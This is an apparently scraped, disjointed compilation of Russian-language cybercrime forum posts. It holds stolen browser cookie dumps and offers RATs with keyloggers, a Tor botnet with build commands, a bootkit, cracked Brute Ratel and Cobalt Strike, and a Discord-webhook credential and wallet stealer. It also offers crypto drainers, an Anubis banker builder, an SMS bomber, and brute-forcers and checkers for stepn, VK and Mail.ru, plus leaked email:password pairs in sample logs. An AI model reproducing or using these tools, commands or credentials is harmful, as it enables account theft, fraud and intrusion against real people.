.bing.com    TRUE    /    FALSE    1593978815    MUID    039180085F4B62B01FBC8D705B4B611D
.brealtime.com    TRUE    /    FALSE    1591818813    __cfduid    d370dc2382372044f083ac9aa67e3b3c91560282812
.speedtest.net    TRUE    /    FALSE    1623354809    __gads    ID=36d6681ca33b17eb:T=1560282809:S=ALNI_MYoH5FTiKXzgrhhNM5cfyGGhg2Juw
.go.sonobi.com    TRUE    /    FALSE    1563090812    __uin_eb    CAESEOZ5FzS_fqJ7rAqX06jJqxM||1
.go.sonobi.com    TRUE    /    FALSE    1563090812    __uin_mm    cefb5cfd-2d9f-4a00-892f-9deebee8580f
.go.sonobi.com    TRUE    /    FALSE    1563090812    __uin_rx    RX-b458bdf3-5194-445e-9568-ced85ce185ee
.go.sonobi.com    TRUE    /    FALSE    1563090812    __uin_td    608a699a-7e03-4ca8-a7fe-ad30a4848f31
.bidr.io    TRUE    /    FALSE    1594396410    bito    AAUC8U66AA0AABfLj_mnGA
.onaudience.com    TRUE    /    FALSE    1591818814    cookie    ab56285f21d6ee4d
.zdbb.net    TRUE    /    FALSE    1575834808    h_zdbb    444fc1e400e24b1eaf379035872a6ee8
.m6r.eu    TRUE    /    FALSE    1568058811    id    4a983c6692f1f1ef69a9813d992fe50e
.justpremium.com    TRUE    /    FALSE    1562961213    jpxumaster    um-16306173-485f-4b71-a2b4-4c049239c469-1560282813
.zdbb.net    TRUE    /    FALSE    1562874812    kruxtpid    1
...

Пример JSON cookies:

Code:Copy to clipboard

{
    "domain": "accounts.google.com",
    "expirationDate": 1594480575,
    "hostOnly": false,
    "httpOnly": false,
    "name": "GALX",
    "path": "/",
    "sameSite": null,
    "secure": false,
    "storeId": null,
    "value": "3rN7L22CiMs",
    "id": 0
  },
  {
    "domain": ".dmg.digitaltarget.ru",
    "expirationDate": 1594480575,
    "hostOnly": false,
    "httpOnly": false,
    "name": "visessid",
    "path": "/",
    "sameSite": null,
    "secure": false,
    "storeId": null,
    "value": "f9ff68a2_15a0383c6b2_00000000002da0fc",
    "id": 0
  },
  {
    "domain": ".yandex.ru",
    "expirationDate": 1594480575,
    "hostOnly": false,
    "httpOnly": false,
    "name": "yandexuid",
    "path": "/",
    "sameSite": null,
    "secure": false,
    "storeId": null,
    "value": "2851885251487238041",
    "id": 0
  },
...

В браузер установленны самые нужные расширения для работы, user-agent switcher

• позволяет эмулировать другой браузер \ Ос \ устройство и auto recaptcha solver - автоматически распознает карчи от google - ReCaptcha

Y Browser умеет проверять cookies на наличие определенных ссылок, достаточно один раз добавить все ссылки в список для проверки и каждый раз, когда вы будете добавлять новые cookies программа будет выдавать вам список из указанных вами доменов в порядке набольшего кол-воа совпадений в файле. То есть - программа проверяет на наличие и считает кол-во совпадений например если в ваших cookies много значений "store.steampowered.com" вы увидите его в списке со значением "Exists - True" и "Amount - кол-во совпадений". Видя этот список вы сразу будете понимать есть ли в ваших cookies сессии на определенных сайтах, а по кол-ву можно примерно понимать сколько сессий ( аккаунтов ) есть в этих cookies.

Вы можете изменить стартовую странницу в браузере например если вы предпочитаете сразу проверить наличие сессии в steam можно поставить ссылку на steam store или инвентарь профиля. Так же в программе вы можете настроить пользовательский интерфейс и убрать ненужные вам элементы. В настройках есть возможность отключить ненужные расширения, например если вы предпочитаете разгадывать копачу от google вручную, то просто поставьте галочку в настройках напротив текста -" remove recaptcha solver ". Так же есть возможность выключить звук браузера.

Если программа получит отклик и вы останетесь ей довольны, мы обязательно продолжим ее разработку, в будущем запланировано добавить автоматический парсинг данных с соц. сетей в определенной сессии и возможность автоматизации действий по типу: поставить лайк , комментировать и т.д.

Скриншоты:

VT
Скачать - Mega
Скачать - ЯндексДиск
Telegram канал где вы можете узнать о других разработках - click

Привет, ребята.

Ищу софт "Мередиан" и "Легенду" от "Сонар-Плюс" - https://www.sonarplus.ru/index.php?page=products&id=union
Буду очень признателен за софт.

Слив софта с зарубежного форума hackforums ( не реклама )

Плюсы данного софта

• Проверено на клиентах 1k ++

• Стабильное соединение

• Исходный код

• dotNET4.0

• Асинхронный

• Multi-Hosts

• Мульти-порты

• Отправить файл и выполнить его на диск или в память [RunPE & Reflection]

Что включает в себя софт

1. Терминал доступа для контроля юзеров

2. Конфигурируемый клиент, управляемый через терминал

3. Сервер регистрации, записывающий все значимые события

4. Экран просмотра и записи пк юзера

5. Антивирус и менеджер целостности юзера

6. Доступ к SFTP юзера, включая загрузку и скачивание

7. Окно чата клиента и сервера

8. Клиентский динамический DNS и поддержка нескольких серверов (настраивается)

9. Стиллер данных юзера

10. Клиентский JIT-компилятор

11. Кейлоггер

12. Анти-анализ юзера (настраивается)

13. Управляемые сервером обновления

14. Запуск антивирус юзера

15. Редактор конфигурации сервера

16. Многопортовый серверный приемник (настраивается)

17. Миниатюры сервера

18. Бинарный серверный сервер (настраивается)

19. Обфускатор сервера (настраивается)

20. И многое другое!

Скачать: Яндес (пароль: cracked ) | AnonFile (пароль: cracked ) Скан на вирусы Исходники проекта​

Целый пакет RAT/DDoS файлов
// Автор: Bulb1992
(а также выделяю респект всем кто делал эти программы, эти ратники, ддосеры не мои. клиент мой)​

Привет всем, это Bulb1992. На этом форуме что ли никто не сидит? Обидно. Актива нету. Решил зайти на форум, делать было нечего. Так что вот решил запостить о ратниках, ддосеров. Прям на целый пакет не хочу выдавать ссылку, я хочу тоже респект получить, так что я создал клиент так свой, хз... Просто простенький софт созданный на DevelNext. Просто тупо уже валяются ратники, ддосеры - столько их накачал что ужас. Может кому то еще понадобится. Буду рад если оцените мой пост, ну ведь я тоже старался в DevelNext хыхы (Для супер мамикнов хацкеров, я знаю что тупо прогу на DevelNext создать на 2-3 минуты можно) Я передумал, чтобы качать прямо вам нужно кое шо сделать

Скачать пакет в моем клиенте:

Hidden content for authorized users.

MEGA

MEGA provides free cloud storage with convenient and powerful always-on privacy. Claim your free 50GB now

mega.nz

Spoiler: VIRUSTOTAL

[ VirusTotal

](https://www.virustotal.com/#/file/778f6865d6b70d64b77b91818adbdea9d213c81c3d8c45cfe392d49bb86b834c/detection)

 www.virustotal.com

**Прямая ссылка:
[CLIKE]

[ MEGA

](https://mega.nz/#!TLAlQITI!zHzyO1XcMpLEshX6BZUP6z5d0hoGJGUMQjarwHyeVl8)

MEGA provides free cloud storage with convenient and powerful always-on privacy. Claim your free 50GB now

mega.nz

[/CLIKE]

Spoiler: VIRUSTOTAL

[ VirusTotal

](https://www.virustotal.com/#/file/66f9a32c603ed4c477512e782cc542ce939255fd1e80cfd674e0989372c88553/detection)

 www.virustotal.com

**

Spoiler: SS

https://postimg.cc/rz14QY4L , https://postimg.cc/MMyn3vvY , https://postimg.cc/21MdPLSp

Hidden content for authorized users.

Мой Дискорд: GbNQfU2eo.Exe#2901

Мой профиль на YOU GAME.BIZ: https://yougame.biz/members/173981/

​

• Added Auto disable scanner blacklist IP
• Fixed Scanner URL parser
• Improved Exploiter, better detection rate
• Misc: improvements, fixes and optimizations

Скачать​

Если у кого ошибка
то установите
https://www.microsoft.com/en-us/download/details.aspx?id=48145

SMS BOMBER BY FSOCIETY.DAT!

Spoiler: Что это за товар?

SMS BOMBER - засоряет SMS сообщениями номер введённый вами в софте.
200 рублей за обычную версию(5 сервисов).
250 рублей за Plus версию(14 сервисов).

Spoiler: Условия оплаты?

Согласен на гаранта за ваш счёт.
2 типа оплаты.

1. - Вы скидываете мне деньги, я кидаю вам софт.
2. - Через гаранта.

Spoiler: Связь

Телега - @young_odee

БОМБЕР РАБОТАЕТ НА ВСЕХ УСТРОЙСТВАХ И ОС！
На проверку готов.

[1] 2 типа работа : Brute или Checker
[2] Работа возможна как по сайту так и по API
[3] Чекает на колл. друзей и колл. групп в которых есть права админа , модератора , редактора ...
[4] Замороженные аккаунты сохраняются в отдельный файл
[5] Есть возможность добавлять свои UserAgent,ы . Софт на каждый запрос будет брать рандомный из файла
[6] Возможно добавлять прокси по ссылке

Пример лога

themastermind2007@yahoo.com:5611871a
Friend: 2
Groups: 0

Click to expand...

Скачать
ВирусТотал
​

BOOT KIT is a project related to custom boot sector code subverting Windows NT Security Model.The sample is available in the vault that keeps on escalating cmd.exe to system privileges every 30 secs.

It has several features

1. It's very small.The basic framework is just about 100 lines of assembly code.It supports 2000,XP,2003
2. It patches the kernel at runtime(no files are patched on disk).
3. BOOT KIT is PXE-compatible.
   4)It can even lead to first ever PXE virus
   5)It also enables you to load other root kits if you have physical access(Normally root kits can only be loaded by the administrator)

The bootkit has been tested with a number of kernel mode shell codes such as Loading Native Applications and drivers from the shell code
creating a kernel ,which periodically raises every CMD.EXE to system privileges.

The Source code will contain 4 levels of BOOT KITs(showcasing different payloads)

1. Basic framework ( Kernel patching has to be done later on)
2. Privilege escalation framework(demonstrates creating new system threads and how to escalate privileges easily)
3. Loading drivers and native applications from kernel mode without touching registry
4. PXE compatible code(Basic PXE franework).

Basic version source has already been uploaded.

**[$]W3lc0m3 L33t H4x0rzz

RU:**
Нашел кряк брут рейтала проверил запустил сервер зашел через клиент все работает payload 'ы так-же билдятся
проверил лишь в локалке так и не смог разобраться с откликом от барсуков можете попробывать сами в виртуалке или
деде, проверял лишь на своем kali, есть 2-версии linuxamd64 и linuxarm64.
P.S это недавний кряк с 2022-года
UPD:чтобы запустить brute-ratel нужно прописать команду:

Code:Copy to clipboard

./brute-ratel-linx64 -ratel -a admin -p password  -h IP(LOCAL) -sc cert.pem -sk key.pem
EXAMPLE
./brute-ratel-linx64 -ratel -a brute_user -p huynya  -h 192.168.0.101:1337 -sc cert.pem -sk key.pem

После этого дайте права 'commander_runme'

Code:Copy to clipboard

chmod +x commander_runme
./commander_runme

EN:
Our systems have detected unusual traffic from your computer network. This page checks to see if it's really you sending the requests, and not a robot. Why did this happen?
Found a crack brute reytal checked launched the server went through the client everything works payloads are also built checked only in LAN and could not figure out the response from the badgers.
you can try it yourself in a virtual machine or dedicated server , I only checked it on my kali, there are 2 versions of linuxamd64 and linuxarm64.

Link to download: ANONFILES
PASS: xss

**Do not buy source code from anyone !
Due to attempts to sell my source code I am releasing it for general use . **


[ Exploit.IN Send

](https://send.exploit.in/download/dd4a8d97e3d2afc8/#_bEhF-Ke4Xiocr9ctGnjVA)

Encrypt and send files with a link that automatically expires to ensure your important documents don’t stay online forever.

send.exploit.in

Password : @WinstonAndroid

Привет, друзья, представляем ExMachina — ботнет для Windows, Клиент написан на языке программирования Golang, а сервер управления выполнен на языке Python с использованием веб-фреймворка Flask. , который использует сеть Tor для связи с ботами.

Функции:
- Анонимный C2C-сервер благодаря сети Tor
- Прослушивание ввода с клавиатуры пользователя
- съемка скриншотов
- Запуск команд PowerShell
- попробуйте убить процессы защитника Windows

Отмечает, что этот проект еще не завершен, так как требуется дополнительное тестирование для обхода всех существующих антивирусов, поэтому список дел - это улучшение кода, чтобы он обходил все возможные антивирусы, и добавление функции для запуска зашифрованного шелл-кода.
for the hardware you need a server for at least 4GB of ram and 2cpu cores, as for the software: Tor, nginx(optional), python, and Go
использовать:
настроить скрытый сервер tor
закодируйте весь адрес onionv3, веб-перехватчик Discord и имя исполняемого файла, потому что он попытается самостоятельно удалить
отредактируйте main.go, добавив новые данные в кодировке Base64

Bash:Copy to clipboard

cd ExMachina
GOOS=windows go build -ldflags="-w -s -H=windowsgui"

выходной исполняемый файл составляет около 6,5 МБ
запустите сервер, запустив python wsgi.py(for debuging and testing python test.py), зарегистрируйте администратора (по умолчанию имя пользователя администратора — «ErenYeager», вы можете изменить его, если хотите) перейдите по маршруту /register и зарегистрируйте пароль администратора
наслаждаться

**Автор student / мой_телеграмм_канал
Источник: https://xss.is
**
Bruteforce m.stepn.com написанный на JavaScript
Это еще один мой авторский проект написанный полностью на JavaScript на движке A-Parser. Запускаем A-Parser, импортируем пресет, загружаем файл в котором хранятся email:password, запускаем. Инструкция ниже

---пресет---

Code:Copy to clipboard

eJx1VW1z2jgQ/is6TRrMhDEhuZc5Z5ge5UovnRRyDZ18wKQj7MU4kSVXkiEZjv9+
K9lgh7vwBbQvz+4++8KWGqaf9K0CDUbTYLaluftNAxoWF73er+Ty959/ox2aM6VB
WZMZHYMJgr+m01uUx7BkBTe0s6XmJQf0k2tQKo0BlWmM70TKeCjde814gSazi/Pz
+a7hkZtUCr13iFYQPQ2lMCBM7UQftv7Z7gQFLI5T68A4DbavrL8wE62mDrS3272d
0uIlZ1oPuSziEWcKhisls0aCRhWwm887FLnA4vRIqoxZTmbvyCPpEyMl176j5PPd
ZOzlPT9mhrWvQhGK6xH56dHPdOJnNh2vdS0iqRREhhRIoWAZhGHXJrCRKm45J/Oj
APXiS5Um5DvxXrl/kjLhQAaFWWGJacSMVK02eU9a5B/SULZIQFqo+E5CGiImReCP
4z/Juzk9FHLH1jCVWMgy5VCLR/gaY16oOMFCwGr9pSvaa/vm2bxivWTDjkLN0DeR
/nBdEhJtbTUp6BGyiiIDDsCVuGdyRlfG5Drodlme8oWvDeTCj2TWVYXocpmk4j2L
IlkI0z9xnqd7xvpsEeHUJae2uf3L0xjWaQTXYin7G1hQzKlwyfxdJkGDJeMaOlRj
7SOGlcXHmtSAsqxOqjnEqZJiwPkNrIHXZi6ND0XKY1yEwRKdrivH/zeZ/Adjd+Cr
GQqHc6MwhwOKe32YfKm9YnkjE6QyXiCRPM1Sg289tPSg9ByFTwD5oQlj24RMKjiE
qZCr6LjvOQi7CfUMDPJa9KoMdxW0LFRkoZ0KTarNUpDAswOx37ik3uwhmJ+1A88/
a+/l5UaKgnP0k7b5Jcp8Vw9QIxoKIymWaTKp1nY/aoWY4rWaiKHMcg7mgIlr9bUe
5IGu+msfdeXHzkMXwnK6v2DUrfXnu5KDXKWY6i82wQxb1IxaQUaM829fb5oa66iN
zCfio1JHc+EmjsIzs8Z/JBmOoh34oHdxSS2YgUQiKViqpaW6t4fLvG1c3WCLx40+
6tvSxtZpLXbNCpaFiGzvydSKvDbZhmJnz9O0vF1KGml76Osiw4u2N/dYhyycMcGP
AlMoQRg5I4urN/wBb2YTIMJTfwxgbUrFWyglyff3902oWCJJ4hislKJHzlkEXvdh
s9mEod9NO/b87QMI2JSlX5Fut/J0byIXj3iL7bFH7jCM/a/4F6JxcFk=

Для чего нужен этот проект
Этот пресет проверяет email на регистрацию в stepn. Если аккаунт зарегистрирован, то сохраняет его в гуды. Полученные аккаунты ручками проверяются на баланс и на кроссовки. Да, кроссовки можно продать и получить криптовалюту.
Что такое stepn
m.stepn.com - это игра, которая платит вам криптовалютой за то что вы ходите. В приложении можно приобретать кроссовки, чинить их, улучшать, пополнять криптовалютный баланс(эфириум и другие сети поддерживаются). Сейчас, конечно, у stepn не лучшие годы, он был на хайпе до этих событий: https://xss.is/threads/68052/
Но могу сказать, что за неделю до того, как приступил писать этот проект на конкурс нашел аккаунт с кроссовком на 200$ и успешно их продал. Так что все ок, проект жив. Можно использовать его в браузере m.stepn.com или скачать мобильное приложение. Если взглянуть на новости то не всех так плохо, как кажется.

Предыстория
Как все начиналось. В брутфорсе я давно Еще в школу ходил. Мы с товарищем работали по валиду азии, думали где найти новые проекты, которые хайпятся и вывод не составит труда. Сам я не сильно крутился в крипте, знал, как создать холодный кошелек и запросить средства))) Я обратился на соседний форум, раздал материала валидного и тут мне пишет в личку человек: "Мужик, мне зашла твоя базка оставь кош закину на чай". Даю ему кош и начинаю думать, я же дал отработку, где он смог достать крипту... К сожалению проект сразу определить не удалось. Мы стали с ним работать. Я ему поставлял валидные мыла, он с них снимал stepn балик и кроссы продавал. В один момент он мне пишет, что вот нашел аккаунт, не успел продать кросс, а пароль сменил холдер. Дает емейл и просит сбрутить. Я такой опаа))) Пора повбивать этот аккаунт по популярным криптосервисам. Я стал гуглить "самые популярные криптобиржи азии". И сидел вбивал... Думаю какого хрена нигде не зарегистрировано. Отдаю этот аккаунт другому знакомому, спустя часик он мне подсказал что это stepn. И сказал, что уже видел письма на почтах от этого сервиса. Я решил отписаться тому человеку, что нашел проект который он крутит. В итоге он посмеялся и рассказал мне, что сложнее всего это продать кроссовок, а не сервис этот заполучить. Он мне выдал 100 тысяч гудов и чекер. Договорились, что я подберу пароль к мылам и отдам ему. Ну он поснимал мне, не помню какой профит с этого вышел может 1500-2000$.
Создаем проект
В прошлой статье (https://xss.is/threads/105597/) я уже рассказывал, как подойти к написанию брутфорсера на tronscan тут похожая ситуация поэтому некоторые моменты будут опущены. Я понимаю лень читать большие куски кода, особенно, когда ты не знаком с синтаксисом языка. Поэтому постараюсь рассказать так, чтобы даже новичку было понятно. A-Parser сам по себе очень гибкий и не обязательно прописывать разделение email:pass на JS. Реализуем это куда проще.

$query.query - это сам запрос, который используется по умолчанию для $query. С помощью регулярного выражения мы разбиваем $query на одну часть $1 to: query. То есть получаем email. А почему мы не делаем вот так:

$query.query это тоже самое, что и $query.
$2 нам не нужен, пароль может быть любой. Мы ведь определяем мыло зарегистрировано или нет, пароль нам неважен.

Используем опцию Bypass CloudFlare. Как она работает мне неизвестно, но лишним не будет, ведь stepn использует cloud.
Дальше надо парсить ответ от сервера и сохранять гуды, в зависимости от ответа. A-Parser использует шаблонизатор Template Toolkit. Ознакомиться тут: https://a-parser.com/docs/guides/template-toolkit/overview

Code:Copy to clipboard

[% j = tools.parseJSON(p1.data);

IF !j.msg.match('Incorrect username\/password');
    query.orig _ (j.msg.match('Google Authenticator') ? ' | Google Auth' : '') _ "\n";
END %]

query.orig используем потому что нужно email:pass сохранять (исходный запрос), а не просто email, который с помощью regex был разбит.
j хранит ответ от сервера в формате json. Если ответ не содержит Incorrect username/password, то сохраняем query (наш запрос).
Мы разбили строку email:password на email и сохранили ее как query, добавили обход CloudFlare, прописали условия в шаблонизаторе для сохранения гудов, ну и конечно же осталось сформировать запрос, который будет лететь к API, чтобы получать ответ в JSON.

Code:Copy to clipboard

https://apilb.stepn.com/run/login?account=$query&password=abcdefg&type=3&deviceInfo=web

Обратите внимание, что пароль может быть любой. Это абсолютно важно. Откуда я взял этот запрос? Зашел на m.stepn.com попытался войти в учетку и перехватил запрос, используя Burp Suite.

Нравится вам такой формат? Продолжать?

Spoiler: Спонсоры

ice80 MAYC

[+] Мульти подмена кошельков
(подменяет в любом скопированном тексте и ссылках все кошельки которые есть)
[+] Подмена кошельков в файлах
(Поиск текстовых файлов и массовая замена всех найденных кошельков в них)
[+] Гибко настраиваемые оповещения в телегам бота

Spoiler: Скрин сообщения в ТГ

[+] Wallet Grabber - отправка в ТГ архивом

You must have at least 10 reaction(s) to view the content.

Купил у какого то Иранца. Максимальной простой скрипт на Py, плюс - работает довольно шустро.
Со слов автора лучше работает на WordPress & Opencart CMS.
Magento очень туго мне давал.

- Python версии 3.5
- Установить requests
- ваши url в list.txt

cd /Multi CMS Brute Force
python3 multi.py

list.txt

You must have at least 11 reaction(s) to view the content.

З.Ы. Если у кого получится допилить что бы он вместо логина admin спрашивал разные (user/test), то отстук будет лучше.

Брут вк
Работает как по API так и через сайт (выбираем в настройках)
SBA - сохранение bad аккаунтов (вдруг кому нужно)

Хотел ещё чекер сделать но чёт лень -- Это мой последний софт в 2018 ^^

Скачать
ВирусТотал​

Оригинал тема

https://xss.is/threads/94634

Тут маленька предистория вынудившая меня его сюда выложить ну и сам софт.

Попросил я у автора скидку и договорился что буду остачу докидать с профита.
К моему удивлению, он согласился.
Я отправил ему 2850$.
К сожалению, мои удивления не закончились на этом.
Дальше у меня сложилось впечатление, что человек, писавший тему, и человек, сидящий в телеграме, это две разные личности.
По теме была красивая обертка, но на самом деле внутри было кусочек говна.
После покупки автор стал закрытым типом, который clearly не хотел общаться, поэтому я решил не задавать лишних вопросов.
Я получил софт и первоначальную инструкцию по установке. Дальше пошло вкратце по пунктам:

Софт оказался неполным с отсутствующими файлами, поэтому никто не смог его установить.
Без таблицы баз данных. Автор сказал, что его кодер установит за пару соток, и так и случилось.

Инструкция по пропуску расширения вообще была треш и выглядела так: "Сделай себе расширение." На вопрос, зачем, если он уже дал расширение в комплекте, автор забыл уточнить в теме, что оно только для примера и не проходит модерацию.
Я создал расширение и услышал дальше: "Берешь .js файл с ботнетом и ставишь его вместо оригинального файла в твоем расширении. Загружаешь оригинал в хромстор и после обновляешь уже на расширении с ботнетом." Я, не имеющий опыта с расширениями, понял, что оно не пройдет модерацию, так как теперь не рабочее. Я это говорил автору 3 раза, но он уходил от темы. Я решил попробовать, раз он сказал так. ( + его ботнет палился дефендером и априори не мог работать) После установки в браузер дефендер удалял ботнет.
Я пытался загрузить его 2 месяца, и только через 2 месяца, когда мне надоело и я начал писать автору, и услышал, что оно действительно не проходит модерацию....

После этого произошел такой диалог:

Я: "Инструкция не работает."
Автор софта: "Не было соглашения, что она будет работать."
Я: "Это как заказать в ресторане пельмени, а тебе принесли их замороженные и сказали, что не было соглашения, что мы их разогреем."
Автор: "Странное сравнение, но фактически верно."

После этого я понял, что нужно что-то делать, и обратился к кодерам, которые заявили, что такого говно-кода в расширениях не видели и всё надо переписывать. Параллельно я решил перепродать софт (ведь соглашения не было о том, что его нельзя перепродавать) и разместил объявления по чатам. Кто-то из купивших софт сказал, что он дал мне старую версию. И вы знаете, что этот автор СДЕЛАЛ ДАЛЬШЕ? Зашел на сервер и удалил все файлы (правда, не помогло, я делал копию). После этого его можно назвать только крысой и п#даром!!! Разве я не прав?
Ведь соглашения о неразглашении не было.

Исходя из вышеизложенного, а именно того, что из темы на миллион символов по факту работающей была только одна строка: "ПАНЕЛЬ", и ее разглашение никак не могло повлиять на работоспособность софта, я решил опубликовать ее здесь.
Прошу администрацию учесть факты мошшеничества пользователя suvokner и не удалять слив.
Автор сам согласился, что договора о неразглашении не было.

P.S. С трудностями я прошел модерацию в хромстор, но ни одной строчки от кода автора там не было.

Также ищу дропер под расширение для покупки/аренды/%. Могу предоставить от 10 тысяч установок в день.

ПАРОЛЬ xss

You must have at least 30 reaction(s) to view the content.

Spoiler: 3 у вас 43

скачать тыц

Anubis Билдер на исходниках с автоотключением ГП и автоудалением бота

Сливаю билдер Анубис 2.5 за ноябрь месяц, там не реализованы последний обход ГП и другие дополнения, которые появились в мод сборках в декабре.

[ Радикал-Фото: Картинка

](https://radikal.ru/lfp/a.radikal.ru/a21/2002/a3/6737f4658b58.png/htm)

Радикал-Фото - сервис публикации изображений для форумов и блогов: Картинка

radikal.ru

Ну у кого есть желания и мозги работают, может вытянуть все из билда за январь 2020 и поставить в исходники.

Всяким там любителям халявы пишу, что не надо в теме или лс просить личный, даю только тем у кого немного не хватает до хайда, остальным просьба не писать.
Хайд делается для того, чтобы увидеть, скачать могли активные пользователи, которые приносят пользу форуму в его развитии.

You must have at least 100 reaction(s) to view the content.

coding.net/u/ssooking/p/cobaltstrike-cracked/git

пароль: ssooking

Функционал программы:

• Прокси чекер.
• Фильтр по рангам.
• Автообновление прокси.
• Высокая скорость работы.
• Поддержка всех видов прокси.
• Удобный лог, а так же Селлер лог.
• Парсинг информации о пользователе.
• Сохранение отдельных аккаунтов по выбору.
• Простой, красивый и всем понятный интерфейс.
• Чек на привязку, чек мак. кредита, привязка на сайте, бан, сервер.

Скачать:http://rgho.st/8nfKNG9Jt
virustotal: https://www.virustotal.com/ru/file/...95276454bd89a51146f77ee9/analysis/1545727995/
Предупреждение: Софт не мой,взят из другого борта так что я не отвечаю за вашу безопасность.Использовать на СВОЙ СТРАХ И РИСК !! Рекомендую виртуалку

1.Хорошая скорость работы
2. Перебрут капчи
3. Сохранение остатка
ps : движок тот же что и для vk софта но пофиксил пару багов .

Скачать
ВирусТотал​

piaro.org
Сайт для накрутки!
Брут \ Чекер
Чекер на покупки софтов

You must have at least 20 message(s) to view the content.

Checker Mega.nz - принимает базы вида e-mail : password, проверяет на валид
После чека, валид ложим в Content Mega.nz и получаем список файлов на учетках

[ MEGA

](https://mega.nz/#!LEhn2CLS!IQqMwbQ6Vwr8A7Tp1LWT_8VNO6pz8tN8KEwep-T9Y7E)

MEGA provides free cloud storage with convenient and powerful always-on privacy. Claim your free 20GB now

mega.nz

От Автора : делал на заказ одному челу, он меня заебал завтраками кормить,
отдаю вам на растерзание, софт не доработан может быть не добрут.
вырезал авторизацию в софт так что смело пользуйтесь
да и времени нету. на работе авраль, полная жопа
вообщем если нужен этот - wish потом доделаю, уберу не добрут и т.д.

Spoiler: Вид лога

-========= < Данные, счет > =========-
Данные для входа: cagcguzman@outlook.com:carlosjuan1980
Баланс: $0.00
-========= < Информация > =========-
Регистрация: 2018-04-08 | Время: 04:38:27 | День Рождение: 1984-04-05
Телефон: Null | Имя: Carlos Guzman
Cтрана: US | Бан: Yes

Spoiler: скачать

wish

View and download from Yandex.Disk

yadi.sk

Spoiler: вт

https://www.virustotal.com/gui/file...852c60e00f02ebedd60725df7c14d3d1121/detection

Существуют ли бесплатные проги для брута фортнайт? Если да, то дайте название/ссылку

Сабж в названии. Поместить в папку с логами (там должны быть папки, в которых есть файл PasswordsList.txt (ну или нет его) )

И запустить

Продается брутфорс Mail.ru(во всех доменных зонах), который НЕ ТРЕБУЕТ ПРОКСИ, т.к. работает по протоколу http.
Мультипоточный (до 255 потоков).
По вопросам покупки обращатся в пм или асю-XXXXXXXXX
Программа распространяется с согласия автора - FUF.
Цена - 5 WMZ.

Click to expand...

кароче обменял я эту прогу,и если честно такого бреда еще не видел =)
я ожидал,конечно,немного большего=)

а тут вводишь логин;пасс............ВРУЧНУЮ..........вот так вот тупо.........автор тупит.......в первой версии ваще лол был.........в этой лучше.......а в следующей буэт с файла загруза.....и он скорость увеличил

Click to expand...

и чтобы никто не тратил свои кровно заработанных енотов я ее решил выложить!
так что кому надо-забираем,а вдруг пригодиться =)

http://anonymous.ru/files/BruteR.rar

Hello Community,
I'm excited to announce the release of my C++ project.

This C++ Stealer is designed to log data, which will be sent to your Discord channel using a webhook
Here are some notable features of the Stealer:

Browser

Edge
7Star
CentBrowser
Chedot
Vivaldi
Kometa
Elements
Epic Privacy Browser
uCozMedia
Fenrir Inc
CatalinaGroup
Coowon
liebao
QIP Surf
Orbitum
Yandex
360Browser
Maxthon3
CocCoc
BraveSoftware
K-Melon
Torch
Amigo
Sputnik
SalamWeb
MapleStudio
Slimjet
Iridium
GhostBrowser
Xvast
Blisk
Kinza
Xpom
Nichrome
UCBrowser

Wallet

Atomic
Exodus
Jaxx
Electrum
Bytecoin
Ethereum
Guarda
Coinomi
Armory
Zcash
Litecoin
Dash
Bitcoin

Extension

Liquality
Keplr
Finnie
Swash
Starcoin
Metamask
Ton
XinPay
Tron
Phantom
Mobox
Coin98
Binance

Github: https://github.com/DreamCatcher199/Stealer

RU:
Update v2.9
-Добавили чек стоимости инвентаря Steam
-Добавили сортировку аккаунтов с Ножами, Перчатками. (Steam)
-Добавили проверку на активные лоты продажи (Steam)
-Исправили чек Community Ban, VAC Ban (теперь отображает название игры) (Steam)
-Добавили проверку на Prime CS2 (Steam)
-Обновили уведомления в Telegram об окончании работы. Теперь необходимо указать только UserID получателя.
-Другие мелкие исправления

EN:
Update v2.9
-Added Steam inventory value check
-Added sorting of accounts with Knives, Gloves. (Steam)
-Added check for active sale lots (Steam)
-Corrected check Community Ban, VAC Ban (now displays the name of the game) (Steam)
-Add check for Prime CS2 (Steam)
-Updated notifications in Telegram about the end of work. Now you only need to specify the recipient's UserID.
-Other minor fixes

You must have at least 5 reaction(s) to view the content.

TON DRAINER | ( TOD ) ( ~~2500$~~ FREE)

Данный контент предоставлен в ознакомительных целях. Ответственность за ваши действия платформа и автор не несет!

Функции
Авто обмен, авто-отправка комиссии, обход бана тонкипера, повторный запрос транзакции.

Spoiler: Ссылка на скачивание

You must have at least 20 reaction(s) to view the content.

Spoiler: VirusTotal

[ VirusTotal

](https://www.virustotal.com/gui/file/cd8c1de474ae2912e11ed66a5b520dad9f51b7e1b550a1b8855b0370751af68d)

VirusTotal

www.virustotal.com

На поддержание дальнейших сливов:

Ton: UQC5FsuauLLucOuLYuPzXF-LEJVsAtx0aAwgdzq_ElXN5I1E

Usdt Trc20: TD6zrTrXQy4zqaMt1XRY1EbKJmm3ok36so

Spoiler: Другие скриншоты

Расширение для Google Chrome работает в фоновом режиме и проверяет посещаемые вами страницы. Оно автоматически обнаруживает внешние JavaScript-файлы, которые загружаются на эти страницы, и сообщает вам о тех скриптах, которые не удается корректно загрузить.

Более того, данное расширение также производит анализ доменов, на которых расположены скрипты, с использованием API GoDaddy, чтобы определить их доступность для покупки. Если домен доступен для приобретения, расширение уведомляет вас об этой возможности.

Для чего нужно расширение? ​

Предположим, вы - администратор сайта, разместили внешний JavaScript на своем веб-сайте, будь то статистика посещений, виджет, чат или любой другой функциональный элемент. С течением времени владелец домена, на котором размещен этот скрипт, забывает продлить его. Вы, возможно, не замечаете, что ваш виджет.js или чат.js перестает работать, и на вашем сайте появляется ссылка на скрипт, домен которого сейчас продается.

~~При помощи расширения злоумышленник находит (случайно замечает) незагруженный внеший JavaScript, который не загрузился из-за истечения срока действия домена и покупает этот домен, чтобы разместить свой собственный скрипт. Это может называться "Доменное перехватывание" или "Доменный киберсквоттинг".~~

И вот здесь на помощь приходит данное расширение. Оно сканирует внешние JavaScript-файлы во время серфинга в фоновом режиме и проверяет доступность домена на котором они расположены для покупки. Если расширение обнаружит такой скрипт на одной из посещенных вами страниц, оно оповестит вас.

Пример

Spoiler

Решил пошарить по сайтам, запрос был "SAMP моды". Спустя немного времени, попал на чей-то старинный дор <http://pogonina.com/?onf=skachat-server-mod- dlya-samp> (который видимо сделали под загрузки, так еще и под СНГ - такое мы осуждаем). Расширение отработало и показало, что на сайте имеется ссылка на 2 JS-скрипта, которые расположены на домене cloud-js точка ru

Spoiler: Cкрин

Посмотрел сколько он стоит...

Spoiler

Решил купить, сделать дефейс этого *** для примера. Да и вообще посмотреть, быть может на него и другие cтаринные доры ссылаются еще.
Разместил на cloud-js точка ru/images/ajax2.js
Такой код:

